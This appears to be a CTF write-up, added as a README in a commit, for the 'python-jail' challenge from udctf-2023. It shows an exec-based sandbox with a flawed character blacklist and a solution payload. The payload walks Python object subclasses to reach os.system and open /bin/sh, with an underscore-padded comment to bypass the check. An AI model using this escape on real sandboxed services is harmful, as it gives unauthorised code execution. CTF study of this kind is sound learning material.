Create README.md

udctf-2023/python-jail/README.md

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+# python-jail
+
+## problem
+
+```py
+#!/usr/bin/env python 
+
+blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+
+security_check = lambda s: any(c in blacklist for c in s) and s.count('_') < 50
+
+def main():
+    while True: 
+        cmds = input("> ")
+        if security_check(cmds):
+            print("nope.")
+        else:
+            exec(cmds, {'__builtins__': None}, {})
+
+
+if __name__ == "__main__":
+    main()
+```
+
+## solution
+
+here, the vulnerability is in the `security_check` function.
+
+the security check makes sure the count of underscores is above 50 for the check to pass (to return `False`), so adding a comment and then a bunch of underscores works because the code is evaluated using exec
+
+so the solution is as follows
+
+```
+().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('/bin/sh') # ________________________________________________________________________________________________________________________________________________
+```
+
+builtins is None but we have the Dockerfile so we can get the subclasses of `object` and then find os._wrap_close and then get the system function to achieve RCE.